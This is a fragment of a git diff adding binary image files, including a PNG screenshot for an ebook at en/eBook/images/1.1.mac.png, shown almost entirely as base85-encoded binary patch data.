z>|Ewd7%3BE&IU;jPyqwN&sZ8d=RC9Bd;2Z{hL`0?ww>~SQ<|L9zdsFnVo>Tun#~0O O4b`WQEB~^6^*;dF1wG;b literal 0 HcmV?d00001 diff --git a/en/eBook/images/1.1.mac.png b/en/eBook/images/1.1.mac.png new file mode 100644 index 0000000000000000000000000000000000000000..ad2ceed6f125043d345e8cf7b384d861f18b6075 GIT binary patch literal 86406 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 